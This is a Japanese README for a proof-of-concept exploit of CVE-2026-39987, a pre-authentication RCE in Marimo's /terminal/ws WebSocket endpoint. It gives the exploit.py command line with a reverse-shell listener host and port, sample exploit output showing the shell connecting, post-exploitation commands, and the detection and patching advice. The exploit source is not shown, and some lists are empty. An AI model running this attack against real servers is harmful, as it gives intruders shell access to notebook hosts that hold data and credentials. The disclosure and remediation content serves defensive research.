
Marimoの事前認証RCEに対する概念実証エクスプロイト。未認証の/terminal/ws WebSocketエンドポイントを利用してPTYを起動し、リバースシェルを確立します。
CVE-2026-39987 は、リアクティブな Python ノートブック環境である Marimo に影響を及ぼす、重大な事前認証リモートコード実行 (RCE) の脆弱性です。
この脆弱性は、Marimo のターミナル WebSocket エンドポイントに存在します:
/terminal/ws
このエンドポイントは、ターミナルセッションを作成する前に認証を適切に強制していませんでした。その結果、脆弱な Marimo インスタンスに到達可能な未認証のリモート攻撃者が WebSocket 接続を確立し、対話型 PTY シェルを取得できます。
有効な認証情報は不要です。
| Property | Value |
|---|---|
| CVE | CVE-2026-39987 |
| Product | Marimo |
| Vulnerability | 事前認証リモートコード実行 |
| Attack Vector | ネットワーク |
| Authentication | 不要 |
| User Interaction | 不要 |
| CWE | CWE-306 — 重要な機能に対する認証の欠如 |
| Severity | 重大 |
| Fixed Version | 0.23.0 |
この脆弱性は、Marimo の WebSocket エンドポイント間における認証強制の不整合によって引き起こされました。
他の WebSocket 機能が認証検証を実行する一方で、脆弱な /terminal/ws エンドポイントは、呼び出し元を事前に検証することなく接続を受け入れる可能性がありました。
脆弱なターミナルエンドポイントは、WebSocket 接続を受け入れた後に対話型 PTY を作成します。
概念的には、脆弱なリクエストフローは次のとおりです:
Remote Client
|
| WebSocket connection
v
/terminal/ws
|
| Missing authentication validation
v
WebSocket accepted
|
v
PTY created
|
v
Interactive shell
重要なセキュリティ上の境界は、認証チェックが欠如していることです。
任意のコマンド実行を公開するエンドポイントは、未認証のクライアントが PTY 作成ロジックに到達することを許可してはなりません。
悪用に成功すると、Marimo プロセスの権限で任意のコマンドを実行できるようになります。
デプロイ構成によっては、攻撃者が以下を行う可能性があります:
この影響は、ノートブック環境が一般的にデータセット、API、認証情報、クラウドリソース、開発インフラストラクチャにアクセスできるため、特に重大です。
警告: PoC は、所有しているシステム、または明示的にテストを許可されたシステムに対してのみ実行してください。
このリポジトリには、管理された環境で脆弱性を示すための PoC が含まれています。
以下の例は、ローカル/ラボインスタンスに対する悪用を示しています。
例:
http://127.0.0.1:8081
PoC を起動する前に、脆弱な Marimo インスタンスが実行されている必要があります。
例:
python3 exploit.py \
-u http://127.0.0.1:8081 \
--host 192.168.101.130 \
--port 5555
引数の説明:
-u Target Marimo instance
--host Listener IP
--port Listener port
PoC は脆弱なターミナル接続を確立し、結果として得られるシェル接続を待機します。
出力例:
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882
悪用に成功すると、攻撃者は Marimo プロセスの権限で実行されるシェルを取得します。
whoami
例:
marimo
id
例:
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)
これは、marimo アカウントとして任意のコマンドがリモートで実行されていることを示しています。
PoC は、侵害されたプロセスが利用可能なファイルシステムへのアクセスも実証できます。
ls -la
例:
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py
ファイルシステムのルートに移動:
cd /
ls
例:
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace
これにより、リモートシェルが Marimo プロセスの権限とコンテナの制限に従った通常のファイルシステムアクセスを有していることが確認されます。
完全な脆弱性チェーンは次のように要約できます:
1. Attacker discovers exposed Marimo instance
|
v
2. Attacker connects to /terminal/ws
|
v
3. Authentication is not enforced
|
v
4. WebSocket connection is accepted
|
v
5. PTY terminal is created
|
v
6. Attacker obtains command execution
|
v
7. Commands execute as the Marimo process
重大なセキュリティ上の失敗はステップ 3 で発生します。
悪用の可能性を示す指標には、以下への予期しない WebSocket 接続が含まれます:
/terminal/ws
および、Marimo サーバーを起点とする異常なプロセスアクティビティです。
防御側は以下を調査すべきです:
Marimo を修正済みリリースにアップグレードします:
0.23.0 or later
さらに:
/terminal/ws アクティビティがないかログを確認してください。CVE: CVE-2026-39987
CWE: CWE-306
Severity: Critical
Type: Pre-Authentication RCE
Protocol: WebSocket
Endpoint: /terminal/ws
Auth: None required
Fixed: 0.23.0
このプロジェクトは、セキュリティ研究、脆弱性検証、教育目的のために提供されています。 所有していないシステム、または明示的なテスト許可を得ていないシステムに対して PoC を使用しないでください。